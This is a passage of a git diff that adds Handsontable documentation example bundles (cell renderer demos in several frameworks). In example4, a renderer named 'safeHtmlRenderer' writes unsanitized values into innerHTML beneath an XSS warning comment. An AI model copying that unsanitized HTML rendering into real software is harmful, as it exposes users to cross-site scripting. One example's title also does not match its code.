\"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example7-cell-renderer',\n template: `\n
    \n \n
    \n `,\n})\nexport class AppComponent {\n readonly data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n ];\n\n readonly gridSettings: GridSettings = {\n data: this.data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value: unknown) {\n return `₿${(value as number).toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value: unknown) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n { provide: HOT_GLOBAL_CONFIG, useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example7.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example7","exampleTitle":"Format symbols outside the Intl standard","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.js.json new file mode 100644 index 00000000..2c3951fb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.ts.json new file mode 100644 index 00000000..9798071a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Book {\n title: string;\n description: string;\n comments: string;\n cover: string;\n}\n\nconst data: Book[] = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.js.json new file mode 100644 index 00000000..fc7c6b9a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nlet isChecked = false;\nconst exampleContainer = document.querySelector('#exampleContainer5');\nconst container = document.querySelector('#example5');\nconst customRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n if (isChecked) {\n td.style.backgroundColor = 'yellow';\n } else {\n td.style.backgroundColor = 'rgba(255,255,255,0.1)';\n }\n};\n\nconst hot = new Handsontable(container, {\n height: 'auto',\n columns: [{}, { renderer: customRenderer }],\n colHeaders(col) {\n return col === 0\n ? 'Bold and Beautiful'\n : `Some checkbox`;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nexampleContainer.addEventListener('mousedown', (event) => {\n if (event.target.nodeName == 'INPUT' && event.target.className == 'checker') {\n event.stopPropagation();\n }\n});\nexampleContainer.addEventListener('mouseup', (event) => {\n if (event.target.nodeName == 'INPUT' && event.target.className == 'checker') {\n isChecked = !event.target.checked;\n hot.render();\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example5.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.ts.json new file mode 100644 index 00000000..775d0503 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nlet isChecked = false;\nconst exampleContainer = document.querySelector('#exampleContainer5')!;\nconst container = document.querySelector('#example5')!;\n\nconst customRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n if (isChecked) {\n td.style.backgroundColor = 'yellow';\n } else {\n td.style.backgroundColor = 'rgba(255,255,255,0.1)';\n }\n};\n\nconst hot = new Handsontable(container, {\n height: 'auto',\n columns: [{}, { renderer: customRenderer }],\n colHeaders(col) {\n return col === 0\n ? 'Bold and Beautiful'\n : `Some checkbox`;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nexampleContainer.addEventListener('mousedown', (event) => {\n if ((event.target as HTMLElement).nodeName == 'INPUT' && (event.target as HTMLElement).className == 'checker') {\n event.stopPropagation();\n }\n});\n\nexampleContainer.addEventListener('mouseup', (event) => {\n if ((event.target as HTMLElement).nodeName == 'INPUT' && (event.target as HTMLElement).className == 'checker') {\n isChecked = !(event.target as HTMLInputElement).checked;\n hot.render();\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example5.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.js.json new file mode 100644 index 00000000..223c2498 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n];\nconst container = document.querySelector('#example6');\nnew Handsontable(container, {\n data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value) {\n return `₿${value.toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example6.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.ts.json new file mode 100644 index 00000000..b9dd2d67 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Holding {\n asset: string;\n btcValue: number;\n portfolioShare: number;\n}\n\nconst data: Holding[] = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n];\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Asset', 'BTC-equivalent value', 'Portfolio share'],\n columns: [\n { data: 'asset' },\n {\n data: 'btcValue',\n // Bitcoin (₿) isn't an ISO 4217 currency, so `numericFormat` can't format it.\n // `valueFormatter` prepends the symbol instead.\n valueFormatter(value) {\n return `₿${value.toFixed(4)}`;\n },\n },\n {\n data: 'portfolioShare',\n // Per mille (‰) isn't a unit sanctioned by `Intl.NumberFormat`, so `valueFormatter`\n // appends the symbol manually.\n valueFormatter(value) {\n return `${value}‰`;\n },\n },\n ],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example6.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example1.tsx.json new file mode 100644 index 00000000..a056e545 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ntype RendererProps = {\n TD?: HTMLTableCellElement;\n value?: string | number;\n row?: number;\n col?: number;\n cellProperties?: Handsontable.CellProperties;\n};\n\n// your renderer component\nconst RendererComponent = (props: RendererProps) => {\n // the available renderer-related props are:\n // - `row` (row index)\n // - `col` (column index)\n // - `prop` (column property name)\n // - `TD` (the HTML cell element)\n // - `cellProperties` (the `cellProperties` object for the edited cell)\n return (\n <>\n \n Row: {props.row}, column: {props.col},\n {' '}\n value: {props.value}\n \n );\n};\n\nconst hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ['A6', 'B6', 'C6', 'D6', 'E6'],\n ['A7', 'B7', 'C7', 'D7', 'E7'],\n ['A8', 'B8', 'C8', 'D8', 'E8'],\n ['A9', 'B9', 'C9', 'D9', 'E9'],\n];\n\nconst ExampleComponent = () => {\n return (\n \n \n     \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example1.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example2.tsx.json new file mode 100644 index 00000000..00533b60 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Use the renderer component within React's Context · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
